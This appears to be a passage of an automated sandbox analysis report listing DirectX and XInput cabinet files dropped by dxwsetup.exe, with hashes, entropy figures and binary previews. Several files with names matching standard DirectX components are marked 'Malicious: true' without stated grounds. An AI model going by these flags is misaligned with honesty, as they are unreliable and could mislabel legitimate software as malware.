Preview:	MSCF............D................................#.............................4.R .xinput1_2_x86.cat............4.K .xinput1_2.dll............4}R .aug2006_xinput_x86.inf............4}R .xinput1_2_x86.inf.....>..CK.\|.\SG..M.. @...mTT.0.(..D..M...+K0 ..D.`...T.Zkk.Am.V..k...V[l...+....*Z4....P..........&w.3g.9..\.Kz<tp..N.;.]Y...%=.!...b.............%v_88.t`qXK.;......B..3..c.8...................a...aA..C..)t...FP.q.%......'.B...("...D0.(..Al(..BY.<..."...s.!...1....&."...a..;6;h.P.#.X...p.H....c..q,..1.'..^.CL..h.C..h.%......f...S.l.'h.p.p.E.......\..G..1..'.)D>.Cd.JB..u.....6..i..A.>...&.......]..J....C..h."........x.......4....0.H.?..P.=.Z"zEaJU...F./...Y.t...~.o.y9<..9.l..7=.9_..d...!.r.F0...4..c2...a.3..y0..B..nD<.K...s!d.9\|...p.0\|a.U.a.=x.v$.OM.1u{...qQ,..._.R....y..f"...33...@... ......[..1.a.....0.x8..@.N.`i..0...b..c.wYs.L>&..9..A.......UXL.n..8x.....z......W+..... o.'.v.r...$g....R...4.u.r..J.P+......./o:C...Sg.g.&.3r..^.vG.v^...I.s...9..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Aug2007_d3dx10_35_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 790907 bytes, 6 files, at 0x44 +A "d3dx10_35_x86.cat" +A "d3dcompiler_35.dll", flags 0x4, ID 9055, number 1, extra bytes 20 in head, 56 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	800075
Entropy (8bit):	7.9986813742013325
Encrypted:	true
SSDEEP:	24576:iTo6mZ4UtaxS5hNsXjnUQEnnR62vSNE6xr8M6:iTdwtqAUXjU7nQaSNvxo
MD5:	DDC4AF0D53B477E5AF77942E7118B66E
SHA1:	81AD8201DCF653A6E977C4506A274D0BAC12643C
SHA-256:	9536166EE7CC1100CFE24E01532E8E4DEED6BAA838B4C025581F2CA046A25915
SHA-512:	1E082D7E7855BC0AF6EC09D4A69FD4A1B0A3A31E4DE8FAA52FA0BDCD601C501ADA6216DDDB83058F37AB4A371068E0F344BDF42F2551943BE19BD719D99BA93C
Malicious:	true
Preview:	MSCF....{.......D..............._#..........{....#..............8....).........6P. .d3dx10_35_x86.cat.p....).....6. .d3dcompiler_35.dll.h...2......6. .d3dx10_35.dll.c..........6F. .aug2007_d3dx10_35_x86.inf.I..........6F. .d3dx10_35_x86.inf.i...F......6F. .d3dx10_35_x86_xp.inf.. ......CK.y8............H.<3.1....=...`.&&[...m^...&D.l.%Z.TJ).....%.R..L...z.....{u]..<...y.....qn...e5\..1.1.....L.b.*D".x~....4....@0.....@#XD>D&.].T..........K..,.<(.81A.z.]..A....0.......Y.l......F[.C...R.`...8...$...A....2..8-..F..e.=j.J.ud..dM.I.........!.h..l.+..,....t9..r..!_h.D.. ..,3..hQsQnYE.+V.wL....;.....3#B"...Zh'...........2.Hx.....:2.%......:.&..'... .!.H.%.<..Tj......A3C.W..e....Dpe...]....!....&H.....I..~d...$C }.>.#...}3....X}.F..G!1....r6...WD.....L}.K..t.....)#...6.L.&...........)....9.!p.b....x.....{..f........s.a.U..^..,..3?.............Ck.....!.s.......`.oZk............K[i.g.....E7...f.7f...`.....3...F.....i.?K&.....d.,Yk.L...........,.L...D.Au..].8.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Aug2008_d3dx10_39_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 843207 bytes, 6 files, at 0x44 "d3dx10_39.dll" "D3DCompiler_39.dll", flags 0x4, ID 8952, number 1, extra bytes 20 in head, 61 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	852375
Entropy (8bit):	7.998886184584254
Encrypted:	true
SSDEEP:	24576:E6Ih4DqlkwAjhr1mB+uYgrCvCZNmJ9ndKo4XYbX:E664DQkwAj/oNCvCZIdN4ID
MD5:	5380053AC4C344BD38604022476B1C1D
SHA1:	043DC8F49BCA3BF0BD85E858F5C2EEDF68565C0D
SHA-256:	84800C55F773D5D6913E344E41BABA58CF07CEC2E6C7114CA3BF48E8F355419F
SHA-512:	F3CE2DEF6E2E8A1D2C07F627E3C437A1BBA0B2E456020A84121346472BE3D28E0FC69623BD408F35A2C639C83DD2787F998DEDFE42B7625DC71500824B035FEC
Malicious:	true
Preview:	MSCF............D................"...............#..............=....$.........8 X..d3dx10_39.dll......$.....8.X..D3DCompiler_39.dll.f(..(......8.2..d3dx10_39_x86.cat.I..........8.2..d3dx10_39_x86.inf.i..........8.2..d3dx10_39_x86_xp.inf.c...@......8.2..Aug2008_d3dx10_39_x86.inf.,"..%,..CK..\.....\./.R3...$...Hef.K0..D<....V..uvA4.J.yTx..YjvY..<.2.133.J.[...O.g.Q.J..gf.....r^.}..s~g..3...F..!...eB>$.e .~..Z.j@V....C]..-..-N.!.Dc.c2.lv..!0b......$&.n.....yH..cz./...\|...w.;y../+.......l.\|~...?...{..-<Us.(n..M.U...(Bz.I.WCc.q.I..uuu....2O.K}.~_x...P..B.D.P.].C-e..O..x.tJ.....Y....'o5%dE...+..../..".tp...Ap..i^.$.0W.....!...b../.W..y.B.....#.m.k}O.k..z...N........W.3.......S.F..].E..j,.;.xe..I`6p.V..._O..K`.H.C....f.....'..3@?@O..`...@&p..P...W..>HO.....,..CA........0...m.....D....0.....x.S...l.....'....`.....%....{....1y.t...Qp.t..{..A.0c.......k.....@!x......RA/.....@c......}...n.......`.x.L.cA...A ...P..S....2}{%".,....d8..^.K..p.xGE...+..\`:X.>.G.o.Y

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Jun2005_d3dx9_26_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1058965 bytes, 5 files, at 0x44 +A "d3dx9_26_x86.cat" +A "d3dx9_26.dll", flags 0x4, ID 6937, number 1, extra bytes 20 in head, 71 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1068133
Entropy (8bit):	7.999040217820951
Encrypted:	true
SSDEEP:	24576:NxFMsUF1MmwONoWu85w6SFBu+vveJ0sut3z2A1s9z/D8gigA:V3dm3NoW+9FBhuJ9ut36A1s9z78giP
MD5:	029359EBCA4BA5945282E0C021B26102
SHA1:	6107919F51E1B952CA600F832A6F86CBBED064B5
SHA-256:	C44EABF5BE3B87CD845950670C27F6A1E5D92B7758BA7C39C7849B1EE1C649C0
SHA-512:	FA007F257F5267119B247EC4ED368E51FD73E6AEA3097E2FC4E78078C063AF34D161FD1BDCAF3097BB575D2614DBA226A624D060009EE4F7BEDA697EFCF42BB7
Malicious:	true
Preview:	MSCF.....(......D............................(...#..............G...7..........2b} .d3dx9_26_x86.cat...#.7......2Z\| .d3dx9_26.dll......,#....2.} .d3dx9_26_w9x.inf......-#....2.} .d3dx9_26_x86.inf......0#....2.} .jun2005_d3dx9_26_x86.inf...N..>..CK..X....'.. ..P.....&!. .%.A........`.....;v..WTd..........w......{.{..<'...3..;}....=Xv3.e.vc:.yg.i.....1.....V.F.:.fMj ,.\|.e.....F..5#?.\|6.M.j[Z..k3.....g.f.B(..=v......a<.7..a.=.:...h.f.X6.."..I..I......Od:.!9......~1.H..q.....'....y..\...E..u.S\|K.a...:c..B..8g:!?._..E:.A.H...N.a..j..~pI.....V.k.l.W.....X..........`4.2(.....e.>...0...!L..>p.....2d..r<...afffPK.6..t0.V.'HA.....j.o...5B+. .....hy...... M..5t...K.<>..@.G........~h..Xw.B.....F~>.?l..7..].}Xp.m.!......x~6.aY_.rmH..sr.."Q..]..d3.{.bXX`P....io...AZ.i..$..1....Gl.....d..AM:6.......p./(..Q.1..1..q....O.c~.c........04...\|s3...}..x..I.r..).m.K1.o#.Q.Fa...X7.baY......G{......Z5S.HU..c.tp.z6.4m.B=P...d.6...g.....W..aM...z...L.R.W%...z.F.n.5....54EG.R

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Mar2008_d3dx10_37_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 812300 bytes, 6 files, at 0x44 "d3dx10_37.dll" "D3DCompiler_37.dll", flags 0x4, ID 8943, number 1, extra bytes 20 in head, 58 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	821468
Entropy (8bit):	7.9989494569533655
Encrypted:	true
SSDEEP:	12288:k8Yjgk28yEYvDLX3XmZcLHo9yLvTJqnrT+LprnNjjjGM6pdKi814DYnciABrI55V:1Yjp/yEcfLI9y4rORNYdKibxBrIS6
MD5:	8234B9B90BCBB5077E1B5FAA0B66D1A9
SHA1:	E9207C572FDEC592B7C17A7F9C6F875C8A55B1F0
SHA-256:	6A2727269E6CAC7C4D2E316333D29BAC0DC1CD7F51C36C0C08B0388203DEDAD2
SHA-512:	74C94A6E092D7C828FC1E3FAEE4B21917AFC3CACEC04F260754190D0533F93A58289763AC620E5A577F7865902023B30548CDA4D9E968C90EE13050AD6D1E8C5
Malicious:	true
Preview:	MSCF.....e......D................"...........e...#..............:.............E8...d3dx10_37.dll...........e8....D3DCompiler_37.dll.f(..(.....e8K...d3dx10_37_x86.cat.I.........e8....d3dx10_37_x86.inf.i.........e8....d3dx10_37_x86_xp.inf.c...@.....e8....Mar2008_d3dx10_37_x86.inf...-..,..CK..\TU........[fz.,P..0}Q.a.L...T..`.f.;........i..io{n....ej.i.Yb........;w....r.....s...9.<g.%f.4.F.q...F."_zr.........6.4}..I.8.;o..9L..j.9.43..Z.....M`rl&..A.....n.b..Q.....;..).).MK{J...!...1..T'....:..&...,*O.k\.!}4.d.vH/5.0.....x-!.....{.c..@......Dm53SG.W..A..5..MK..P.?ZK64'd..%.4p......'..v.a-..3!...iYM...Jc.B.i..^.4.;.....b....:..i..'Ui{2.$m.t(w..w...Km..ZrM:..7g.p.w.m$..k..`..n..7JK.`...%..O..d..`....@2h.j.s.ZR.V....?..p-i.:../...@.X.&..:RK..y`"p.. ...a..\.@Y..l...<0.lB\|6.d...Ac..N..=`.(..@.._.....)...`(....\..\|....@.~i..-....z}.........]..'.........<0...d...A.h......e..@...6....,.....D0..A....A8...@K.a..6/.\.&t.$/.V.I.....f.".....t.$.....H..X.6....$

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Mar2009_d3dx10_41_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1034785 bytes, 6 files, at 0x44 "d3dx10_41.dll" "D3DCompiler_41.dll", flags 0x4, ID 8914, number 1, extra bytes 20 in head, 71 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1043953
Entropy (8bit):	7.998757160305283
Encrypted:	true
SSDEEP:	24576:JAEjuCeK6JgAkPBJoBgsqDP8FbGACV0L/sW0G+vv2:JFuCeVJqyxqDUFb9CV8r
MD5:	45E83CBA5710A1DE7D3990A288122E85
SHA1:	23C4BFBDDCFB11ACB7C47C409825F039AF7EB908
SHA-256:	B7DA29103CDF374DE0C09713CB985035EAC45FB8B394D3B8157D8A7562A89899
SHA-512:	8C56D376D349AA00948E1F3C6168DADE76AC9A26ADE1AAC5A385DCF0253602F5A2973483D083425195DB6AD7717494FD3CF674F5549774AC608CEFA2A88BF0A7
Malicious:	true
Preview:	MSCF....!.......D................"..........!....#..............G...P.........i:k{..d3dx10_41.dll.h-..P.....i:k{..D3DCompiler_41.dll.......#...p:.r..d3dx10_41_x86.cat.I...a4#...p:.r..d3dx10_41_x86.inf.i....7#...p:.r..d3dx10_41_x86_xp.inf.c....:#...p:.r..Mar2009_d3dx10_41_x86.inf.Nn.>.0..CK.wT.I..{.G.C.QQ.#(I.T`..Q.........0.b..5`Xs..bD.@..f1.9..x....Yw..{...s..U...[.kjj.....h3...TV2.nFx92?~=....m.l.[n.[..(81)]..R&..Sd...J.,F!Se..Re..A..e..~}..b.e[.fd.np.+..[......R;.z.....v....N.~...ibx.h.S.....W...7..-.a.8...`...$u..A.0K....j1..g..A.^k1...Pj.]bm.ym..~t...+d..`..LG}..X...#.J.....;'e.Z.-.2..m.0....[W..#......j.05.Z.R.!..:.jd..e.........O..7:...\....k..bY...s4W).. ..%.......:g............p..Z...... ..<5.2..].... ..X.,..!~.0...v..k.c.1.2..V.10.L.#.R.x.=.S.9.....27.S@.....d. .p.l.d......}.\...;.e./.0 ...&.~...8.\...:.L;.'....R..."`;p.....>...........BhW6.I&..D.!.3`...M...>u.....S.A......E@...0.P..@8....v.9....X@..."e....'..`c...(...^..R.'p...4....{ ...f...2....h

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\APR2007_xinput_x64[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 90857 bytes, 6 files, at 0x44 +A "xinput1_3_x64.cat" +A "xinput1_3.dll", flags 0x4, ID 9350, number 1, extra bytes 20 in head, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	100025
Entropy (8bit):	7.988437274786544
Encrypted:	false
SSDEEP:	3072:Mt5OSvuXSf2rbZu4Kmsr4eLRwPC5B9y7q:MTOBXSSpFI4/PM/ye
MD5:	FAE84E0773A74F367124C6D871516B7B
SHA1:	CAF8B9D7D4AF965BF445D052D1E835B680D6BBC3
SHA-256:	86EE073C199B5080FE4F5BE6AC24BB1117FEA42E4BBCD828B4F0EC26C669B22C
SHA-512:	CAF1381CAE7417B57FAEF56D0023BF90C90406748F8813AB85C687DDB81E2498D2F1D5F4BC154903FD5A19836E6F245CD6F5D3927A383F1ACC3BCC41B58FD09B
Malicious:	false
Preview:	MSCF.....b......D................$...........b...#...................(.........6+. .xinput1_3_x64.cat.h....(.....6. .xinput1_3.dll.h..........6.. .infinst.exe.\...h......6H. .apr2007_xinput_x64.inf............6G. .xinput1_3_x64.inf.....a......6H. .xinput1_3_x64_xp.inf...<.6..CK.\.\S.?....H3`@....B.....t.....D!.! " ].{..`AW........b.k/(....fNN ..z.}...g..of.7...\|3#.]4.j...."V.;u.".,..t....... o.!G4.G.<........!.I.P.'..t-B..T.N5...U.......2..S.....:....Ju.S.Q..v"D%..y.KR..B...a (.4.....7......x!L.\..u@.@...B.-G0......A..g...Dj8.j..L.X.."0."...^...kP.&@.}.....PP..k.p..\|.`..P..D"... .H.1.h.^.G...#...+Ls..7..!qH."@..."..;,....Iz;u.t....>..Ki.y.~.5M`)SR(..$....&P:........-F...@....-..C.&V....N...Z..!....~.....{X"eo.5.D6.u...Y.9...8.......pg8....g....4....j@.S..T..C.H..7..ID...!.HP}.....7U..@?1".yMi....aA.....[..&.M.0A..'L,.q. 6`..DZ...i2.t..(Sw...e..X..6 ..y$...>....D.&R......>....~..U.Z...X.B.5:HAn.IU..[ ..MH...8..Tgg'.H.G$H.$........)a...E b.y.>........t.....dF.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Apr2006_xinput_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 40050 bytes, 4 files, at 0x44 +A "xinput1_1_x86.cat" +A "xinput1_1.dll", flags 0x4, ID 6338, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	49218
Entropy (8bit):	7.962835058038329
Encrypted:	false
SSDEEP:	768:rrXN+lWp5tvn2v0JeuXfYYJDyRIvwde6hecBLdKd+d4RUJ6HwyQs34VvD4:3gl6tfTVXwcWuqe6htcaJyQW4VvD4
MD5:	E207FB904E641246F3F7234DB74121FC
SHA1:	1BE8C50C074699BDD9184714E9022B7A2F8BF928
SHA-256:	3FDF63211B0DD38069A9C1DF74D7BC42742DE003CEF72AD1486AAA92D74546FA
SHA-512:	ED95D53BC351C98C0322753265B0A21C98DF97D0E2FBBC58A6836BFF374B7540B0CEA21371CD4A7EAD654210A42E1F9809CAC6E4EAE2ECF0EF2B88E220DC37F7
Malicious:	false
Preview:	MSCF....r.......D...........................r....#.............................46f .xinput1_1_x86.cat............4.d .xinput1_1.dll............4.e .apr2006_xinput_x86.inf.....R......4.e .xinput1_1_x86.inf...G..>..CK..\SG.8\|....&l....-n.6....(Z........"PH..,...+.G.V..b..V....Zm.Z..Xm..ZQ..E.{.......}....&L.g.9s....Jz?tp..N.;.]Y....!...b......t.c..'D%v[...8.8..........F.spf2y,.Gpe.w.......d...o.vs.........G...).bQ....cE%....."..GH.`"....D..B!..i.1..... ..0.. ..K# ...@*...C!M....R....SDq.c...b....#!6....b.....(/.`.....Q....(.!.pE....lB.a....L.M..[..E.........\|...;.H!..".P.j........9..<.t.l....]5w.;...R.9qQx...@x..8.........$.1.az!.Z..?.rDP+...c..)U'J..E.H..j....%.......w.;..x.O...>........`0.A4..d.....dT...Q.3..y0.."..].x"...\|.C.bs.,...`..h..#D..y.v..OM.1u{..C .X.N......+0....f2...3;...@...P......Z.......H.x.E<....A.-.4OA.Vi.f......."n\....b\...\M+.e.....k.N.q.`....%.@.../Q..V.e...s..."w.......KI........4.u.p..J^.V....D....t.0J...H.HMVg.d....B.v.]..)..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Aug2005_d3dx9_27_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1071684 bytes, 5 files, at 0x44 +A "d3dx9_27_x86.cat" +A "d3dx9_27.dll", flags 0x4, ID 6926, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1080852
Entropy (8bit):	7.999138982152864
Encrypted:	true
SSDEEP:	24576:sP2N00PXWcq4UsDMMlsOgDUaQFMBZ0To2xIG:sP2CuZQsVl96fQiZMo2xz
MD5:	3E91448A7481A78318DCE123790EE31A
SHA1:	AE5FE894790624BAD3E59234577E5CB009196FDF
SHA-256:	8C062B22DC2814D4F426827B4BF8CFD95989FD986FB3AAA23438A485EE748D6D
SHA-512:	F8318BD7CA4271FC328D19428E4688DA898B6D7FB56CC185AD661D4A18C8169392C63515D7DD2D0B65CBD1F23892D7A0A5D3D77A4CDA6230BA03B3B917E5C39A
Malicious:	true
Preview:	MSCF....DZ......D...........................DZ...#..............H...<..........2.. .d3dx9_27_x86.cat..d#.<......2b. .d3dx9_27.dll.......#....2.. .aug2005_d3dx9_27_x86.inf.......#....2.. .d3dx9_27_w9x.inf.....p.#....2.. .d3dx9_27_x86.inf.]Z...>..CK..X.[...C.)...1(v.).. 3."J.P.. @(.&.Y..v...].....{.cW.$("..w.....yN<?v.5k.......q.Y..0......Z&.9N.!.....f.0.X...9b......fF......iL..+c...ff.tx.f....no.II...2.LO6..arY...u..PZM..9.6f..H.<...._..G".K.1...R.I..\|......=!....\O}<[/E.#..>.......+...........v!..C..:..Q.$.....s....LD.Q.i....h....b..aB3c.a.b.W..c.151/,./r.rD>...(.i..%!.......\.......Sn.\|t.[{F..Mq..\..5.d......J....J.3&....jN../S_N...Qg...gA..3..:...T.0f7.k..&.a.{o.+.j....:..j.f.s..54..`.}..g......?h....bf...w.(......C)(...$.........gJ~..`.;..P>...e.......c.C..@K...d0.@M0(.YM$.y..78..U.Y...J........W......A.04)...&4..{?....Ce..W.;..0m..x.9......n....Io!.!.>...o.......],OQ..0.Q..[KR5QrU.2)I...m.kU."<^..S..3.Q.....".b.F..UF.uJ....:lZ...p.2.R.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Aug2006_xinput_x64[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 81182 bytes, 5 files, at 0x44 +A "xinput1_2_x64.cat" +A "xinput1_2.dll", flags 0x4, ID 7454, number 1, extra bytes 20 in head, 5 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	90350
Entropy (8bit):	7.985841057262195
Encrypted:	false
SSDEEP:	1536:5lQFOMW9t2gGQtmxC4LbB8GXjgvW/j44krD+W2MLdk6v5yO1Ha6DB/4RPjz6ITda:rIOMWm+tmnbXjVkWW1lgO166cjz6z
MD5:	A9D582E44E46E36F37EDB7CBC761179D
SHA1:	ED1BEF64385E94CE89AFA704D38408E23B31FA79
SHA-256:	C26633D38E0A91B9BE70382E916A83D50E219609F7E05CFB2D27DFAFBE480B43
SHA-512:	20011BFB547DEDCE8E6FCEDA22C3A3A83DB140E8A20844F3B0E8741B4474C1FEA73D84708B801E83EAE3CD2D8A2D6C851C3F7CD0154C0382A78BC2C2DF6B01E5
Malicious:	false
Preview:	MSCF.....=......D............................=...#.............................4.R .xinput1_2_x64.cat..G.........4.K .xinput1_2.dll......f.....4.K .infinst.exe.V...'m.....4}R .aug2006_xinput_x64.inf.....}p.....4}R .xinput1_2_x64.inf....%p9..CK.[.\SI.....I..1`D...]A......A....D .)4........E]...`.....^VV.........{.\.]......~./w.9s...9sf.E..k.....l@...Y.......Cu4.....t......I.Q.<u)ey...k1...K0.)....u..+..{..&...Z....@=].X....'..$qD...y.kZ.+..O..x .....F.@..........A.wd..........;......<@i.. ..s(G..J..".q.#..c.u...=.H<"A.H..C..;.>....43V.4..1y.;..j.yK"F}.F..#.RY.h.u.2.....p.C...u...b.:..E1.?f........H@]..;..DfR.T.%..-.....h....@...;...Z=@..pGb.b... .........n.....b>...R~...J...X...0.?..P7..........p6."/=.Z mI.r..X..x...ey...m#.>Pi.ZY.".....Xi..B..S.....7....=P7k}L..."bB.....;.....)...;..L...`B.PG.8.d..q....e.E....D.T.$..H..X.A..,6..y.\|..4...x...K.....o...6`mB.T+.B..0..[..Q4MS.D?.9j.+...<..'.0.9"...5.l-S...8.#H..XF..puM5#.8.R..7..2.L.p..'....\../.....a....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Aug2009_d3dx9_42_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 722496 bytes, 5 files, at 0x44 "d3dx9_42.dll" "d3dx9_42_x86.cat", flags 0x4, ID 7080, number 1, extra bytes 20 in head, 59 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	731664
Entropy (8bit):	7.999475174279291
Encrypted:	true
SSDEEP:	12288:IDTg2rIyRKFAtmsFp1UChyax+LFl9NiHEpMH5Vfe8PIqEqnyA6F56J2:M02fKYVFvhKLFl9NikiH5V28PXyA6GJ2
MD5:	9BC8213933598D050827D20A4573486C
SHA1:	E6F9BA62756A00C53746419DEA221881AEB336CF
SHA-256:	9C96B6FC4DF5C0EFCA9F0D653976772B2B964243214F99066E4CA4AA6DF791DD
SHA-512:	A1920D042963CDDA41DF44044DE5B94B4CEE6EFA102F633214E384918D93D2D6A31EB388BDBD00C7E9C199281E3B71CAA5242E9A42E7F0BE27EDF90A3CF6890C
Malicious:	true
Preview:	MSCF....@.......D...........................@....#..............;...X.........$;....d3dx9_42.dll.....X.....$;...d3dx9_42_x86.cat...........$;...d3dx9_42_x86.inf.,.........$;...d3dx9_42_x86_xp.inf.\.........$;...AUG2009_d3dx9_42_x86.inf.....::..[.... .......5!.P..wO.n..pOc....7...l.c.n..slmk]....]...B..W..D..UJ...P........C.......l8..y^.S.N.I..7%.....].n...d...>.#....zT{6+..X.UB. AA......u7{0...n. ....d..R....=...D...F.......n..n..~U.]..U.EX, .......A^;...(...<.@#0/..O.!...i.#.C....D...D.cwC.v.y.<+.....g.l....f.k...W...[..I&...M..W.&Z..^..MB...:.LyQv.l.U.=Y..%....8Ls.......-..".U.....s.f.YVvX...-..8T..m...=..9.CN!89....f.2.G.....:s.G...>.......c^.Z..=h.l..Q..w..yc.\i.Z.^...$cw.T.".d`.jhL;.ZqB.L.{...Z....h{=s.....a.4.1../..`....\|;I...;...$.m!l'.g..pa.).b0..:.tT...T..{..<..T.....z.....!....,..\|.@.../..A.....q.......@.....................\|..5...[..p.6....FE.../.609$.....+.Q.f.N3.....L; ..6./.j.4.a.E2....(G0,...x..5...IBS.._......9.....%0.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Jun2007_d3dx9_34_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1601326 bytes, 5 files, at 0x44 +A "d3dx9_34_x86.cat" +A "d3dx9_34.dll", flags 0x4, ID 7195, number 1, extra bytes 20 in head, 108 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1610494
Entropy (8bit):	7.999066428256981
Encrypted:	true
SSDEEP:	24576:ZBdkB3TM+mIf4qyM0iJRy3QvQDxPYKhatPJZcg9QwJeYX34eq2F37kRVeLbdiL3q:ZPU3TMXxDVI3vQ2KSBP4YH4aAELbdK3q
MD5:	FE8FEB215FAE59866DCD68C1604D97AA
SHA1:	CEDACA678D15E78AA458B965ABB467E8964A1FAB
SHA-256:	1C1E1C6F68BA556A0AF09A38C32EB421C543A4848C4B42D25867C98DAB3B3A50
SHA-512:	9955336B561E4FD3BA3DA7FC086643E811048A25A7E68344D2CC5CAB091980BAAE1C04CE41328B59C896662E2875886B78EC869852B2D1DAAA46AF38C894A3F2
Malicious:	true
Preview:	MSCF.....o......D............................o...#..............l....(.........6.. .d3dx9_34_x86.cat.h_5..(.....6.. .d3dx9_34.dll.......5....6.. .d3dx9_34_x86.inf.,.....5....6.. .d3dx9_34_x86_xp.inf.\...7.5....6.. .jun2007_d3dx9_34_x86.inf.A.".l>..CK..\...;T.D...1.(.`...2CH..........`.UD.....b.;va.;6...w.{.f.l..9.....w?..=k....=.;..........Zh.....<m--.....^..:.z.#_g.~.>.Z.Z..C..\|...5..J.P..JKK.(.0...>+.G..~.hy{c....b2.,..!..?E.&.j.1.u.=.1.B...q...p..>...q.Y....x..\6.uB......>........A..A.f.1..{v.Z...F.F.\|:.[.Z!..@$.IA.H""ET.J.c.........d..G.....\...xco.#.G......`k?d..E..s...B,........O.0(?..r.......TD..y.W..FkkkC+i...&..!@... ..xP_>(#!...b.O.>,P.8d......lM>..R-t...[.lm2.WS\|.u..._.K/.3.3.~.1a....+....q....o.M.O>o..Y...O/..B.y_...V..5..5..$#~.+.H..5.B.tu...../.......\|.[.(5q.YT5...II..@K._.d0.@M (.U.p...J.!Q_....5.....O....?].k.)..3.u.an}.....6A. .]].....rg....Z.0...}...u.....P$geq..]t/......e.JE."VE.(...LhNu..(...L!g.0...:m:...V(T4~.^...2...y

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Jun2008_d3dx9_38_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1457918 bytes, 5 files, at 0x44 "d3dx9_38.dll" "d3dx9_38_x86.cat", flags 0x4, ID 7184, number 1, extra bytes 20 in head, 118 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1467086
Entropy (8bit):	7.999726422350297
Encrypted:	true
SSDEEP:	24576:HGIly6o6H1kEznWRpKpx5A0SBF/VnjmkC8nAMzh08qF4QH5/RSzsExkqv4Q9hHi0:Hh46Tn/UXVjmiJlO4sVRSzdk5uhCbOka
MD5:	E2FB2E37C342983493C776BD81943978
SHA1:	2A8F3C45CF979966D4D4D42A4D34F05C72C7E29E
SHA-256:	57E57A6348E55AAACA6BED5E27BBDD0A4BD0DDE69C77F4D26C805BE6384BE927
SHA-512:	2D297F607C5A098A3D2B19E7F88AA12F720AF3C23FE6DDCE7D4659A9184D1CF8F8A76F35B8ACB639B48CDAD8998C919215A03B89207E2BB1829EA3D8A9EFB95A
Malicious:	true
Preview:	MSCF.....>......D............................>...#..............v.....:........8wq..d3dx9_38.dll.<'....:....8.r..d3dx9_38_x86.cat.....D.:....8.r..d3dx9_38_x86.inf.,...O.:....8.r..d3dx9_38_x86_xp.inf.\...{.:....8.r..Jun2008_d3dx9_38_x86.inf. .,:..[.... .,......$Q.f...<....B..W...WWRT%.,..6mZ....k.!H}_.aAkk..C..............Z...1.5.!....S.-.Uy....# ...g....3...q.u.N..Nz.2Zq..D..+r."S9..ZT$.QD...UM..4......P....@...f.h...}..l7.{l.e7..#.b.$_...Q_...#......CC@)@......@......1...`....D.$m....wgg...B...n..E..{x,u.{.VK.;:.7.M$IO3v.u..v.p.%...N.X/.:Q..E...(/n..%Y...."..X.)}U.5...9F\.C>.....9..L.1.T.....4I.$R...5.L'.e.H.`.....H.._....9...XQS....r..>H.Gw..I.}.I...S.M.#Q....a[.....C.o...HR6\|..#....Ccu.^....=...f.N..LH.nMzk.k.....k..V..S..^.^,BdOQ.E..^.q..y.z.A{x..g8....i.....l.....f...a,..\xzC...r.@...C~....\.....!8..)....ZU ..%.e.xG..<.i.....yVH.AA......M.F....Ph..,.Uap.....9...-...v.V.... \|..*......X...6....P...,.K.O.Qe...).]`..C..............,..+.q.........w...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Nov2007_d3dx9_36_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
